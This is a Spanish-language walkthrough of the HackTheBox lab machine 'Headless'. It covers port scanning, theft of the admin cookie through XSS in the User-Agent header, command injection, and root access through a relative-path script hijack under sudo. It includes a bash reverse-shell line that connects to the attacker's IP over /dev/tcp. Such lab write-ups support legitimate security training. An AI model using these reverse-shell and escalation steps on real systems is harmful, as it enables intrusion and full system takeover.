Headless es una máquina de la plataforma HackTheBox. Cuenta con una web vulnerable a XSS, lo que nos permitirá obtener la cookie del administrador y así acceder a una ruta interna vulnerable a RCE. Una vez dentro del sistema, aprovecharemos un script para obtener privilegios de usuario root.

Reconocimiento

Verifico que la máquina es accesible realizando un ping. Al recibir una respuesta sé que la máquina se encuentra activa. Tambien se que sé trata de un Linux al tener 63 de TTL.

ping -c 1 10.10.11.8                                                                                                                    
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=44.4 ms

--- 10.10.11.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 44.438/44.438/44.438/0.000 ms

A continuación, realizo un escaneo nmap para descubrir que puertos están abiertos. Utilizo los siguientes parámetros:

  • -p-: Escanear todos los puertos (65535).
  • –open: Mostrar solo los puertos abiertos.
  • -sS: Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • –min-rate 5000: Indicamos que el escaneo no vaya más lento que 5000 paquetes por segundo.
  • -vvv: El modo verbose nos muestra la información según se va encontrando.
  • -n: No realizar resolución de DNS. Así evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitar el descubrimiento de host mediante ping.
  • -oG: Exportar el resultado a un fichero en una sola línea para que podamos usar comandos como: grep, awk, sed, etc.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.8 -oG allports                                                                                                                                
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 14:36 EDT
Initiating SYN Stealth Scan at 14:36
Scanning 10.10.11.8 [65535 ports]
Discovered open port 22/tcp on 10.10.11.8
Discovered open port 5000/tcp on 10.10.11.8
Completed SYN Stealth Scan at 14:36, 8.13s elapsed (65535 total ports)
Nmap scan report for 10.10.11.8
Host is up, received user-set (0.15s latency).
Scanned at 2024-04-16 14:36:21 EDT for 8s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds
           Raw packets sent: 65541 (2.884MB) | Rcvd: 65541 (2.622MB)

Vemos como hay 2 puertos qué están abiertos:

  • 22 (SSH)
  • 5000

Ahora, lanzo otro nmap para analizar los servicios y versiones de esos dos puertos. Los comandos usados son:

  • -sCV: Detectar el servicio y aplicar scripts básicos de reconocimiento.
  • -p: Indicar los puertos a escanear.
  • -oN: Exportar el resultado a un archivo.
nmap -sCV -p22,5000 10.10.11.8 -oN target                                                                                               
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 14:51 EDT
Nmap scan report for 10.10.11.8
Host is up (0.068s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Tue, 16 Apr 2024 18:51:34 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=4/16%Time=661EC8B6%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\
SF:x20Python/3\.11\.2\r\nDate:\x20Tue,\x2016\x20Apr\x202024\x2018:51:34\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Z
SF:fs;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\
SF:x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-wid
SF:th,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construct
SF:ion</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20b
SF:ody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\
SF:x20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20di
SF:splay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justif
SF:y-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:align-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x20
SF:0,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTYP
SF:E\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x
SF:20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20resp
SF:onse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20vers
SF:ion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\
SF:x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x
SF:20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.66 seconds

Parece ser que el puerto 5000 aloja una web. La analizo con whatweb para ver más información.

whatweb http://10.10.11.8:5000                                      

http://10.10.11.8:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.10.11.8], Python[3.11.2], Script, Title[Under Construction], Werkzeug[2.2.2]

Con gobuster realizo un fuzzing para enumerar directorios y archivos. Utilizo los parámetros:

  • -w: Para indicar un diccionario.
  • -t 20: Emplear 20 hilos.
  • -x html,php,txt,js: Especificar que haga fuzzing por html, php, txt y js.
gobuster dir -u http://10.10.11.8:5000 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -t 20 -x html,php,txt,js     

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.8:5000
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt,js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/support              (Status: 200) [Size: 2363]
/dashboard            (Status: 500) [Size: 265]
===============================================================
Finished
===============================================================

Accedo a la web y me encuentro con un texto que informa de que todavía no está operativa.

Headless 1

Si pinchamos en el botón de “For questions”, nos redirige a un formulario de contacto.

Headless 2

Trato de acceder a /dashboard, pero me dice que no estoy autorizado.

Headless 3

Análisis de vulnerabilidades

Compruebo si el formulario es vulnerable a XSS.

Headless 4

Al parecer, la web ha detectado el ataque y lo ha bloqueado. El mensaje nos informa de que la incidencia será enviada a un administrador, por lo que podríamos aprovecharnos de esto para obtener su cookie de sesión.

Headless 5

Explotación de vulnerabilidades

Con Burpsuite, intercepto la petición y realizo varias pruebas para evadir este bloqueo y conseguir ejecutar el XSS. Finalmente, conseguí inyectar el payload introduciéndolo en el User-Agent.

Headless 6

Levanto un servidor web y compruebo como obtengo las cookies del administrador.

Headless 7

Actualizo la cookie la que he conseguido robar.

Headless 8

Compruebo como ahora tengo acceso a /dashboard.

Headless 9

Capturo la petición y trato de ejecutar whoami para ver si hay RCE.

Headless 10

Veo que el comando se ejecuto y ha devuelto el usuario “dvir”.

Headless 11

Para ganar acceso a la máquina crearé un archivo en bash con la reverse shell.

#!/bin/bash 
bash -c 'bash -i &>/dev/tcp/10.10.16.84/4321 <&1'

Ahora levanto un servidor para poder descargar ese archivo desde la máquina víctima.

python3 -m http.server 80         

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Me pongo en escucha con netcat por el puerto que he especificado en el script anterior.

> nc -nlvp 4321

Headless 12

Veo como he conseguido acceder al sistema.

nc -nlvp 4321                                                                                                                          
listening on [any] 4321 ...
connect to [10.10.16.84] from (UNKNOWN) [10.10.11.8] 56490
bash: cannot set terminal process group (1373): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ pwd
pwd
/home/dvir/app
dvir@headless:~/app$ 

Escalada de privilegios

La consola que obtenido no es interactiva del todo, para representar mejor los comandos ejecuto script /dev/null -c bash.

Todavía sigue sin ser interactiva. Para solucionarlo hago ctrl+z, escribo “stty raw -echo; fg”, después escribo “reset xterm” y doy un intro. Con esto he reiniciado la configuración de la terminal y ahora puede detectar si hago un ctrl+c, cosa que antes no hacía.

Si por ejemplo intentamos hacer un nano o ctrl+l, no vamos a poder. Esto se debe a que la variable de entorno $TERM tiene el valor dump y no xterm. Podemos arreglar esto de la siguiente forma.

dvir@headless:~/app$ echo $TERM
dumb
dvir@headless:~/app$ export TERM=xterm

La proporción de la shell no es correcta comparada con la terminal de mi kali. Miro el tamaño con stty size.

dvir@headless:~/app$ stty size
24 80

En la máquina Headless hay 24 filas y 80 columnas, pero en mi kali son 63 filas y 280 columnas. Las modifico para que tengan el mismo espacio.

dvir@headless:~/app$ stty rows 63 columns 280

Veo que en el directorio del usuario dvir está la primera flag.

dvir@headless:~/app$ cat user.txt 
af*************************8e
dvir@headless:~/app$

Comienzo a rootear la máquina. Primero reviso los permisos del usuario actual.

dvir@headless:~/app$ sudo -l

Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

El sistema me dice que puedo ejecutar comandos en /usr/bin/syscheck. Analizo en archivo. Parece ser un fichero que monitorea el sistema y muestra información sobre él.

dvir@headless:~$ cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

Podemos ver como se está ejecutando un archivo llamado “initdb.sh” de forma relativa.

Si creo un fichero con el mismo nombre y le añado “/bin/bash”, cuando se ejecute la herramienta syscheck podre obtener una shell como root.

Una vez lo he creado, le doy permisos de ejecución.

dvir@headless:~$ echo "/bin/bash" > initdb.sh
dvir@headless:~$ chmod +x initdb.sh 

Ahora lo ejecuto con sudo y consigo escalar privilegios a root.

dvir@headless:~$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average:  0.10, 0.26, 0.17
Database service is not running. Starting it...
whoami
root
script /dev/null -c bash 
Script started, output log file is '/dev/null'.
root@headless:/home/dvir#

Voy al directorio de root y leo la segunda flag.

root@headless:~# cat root.txt 
23************************48
root@headless:~#

Etiquetas:

Categorías:

Actualizado: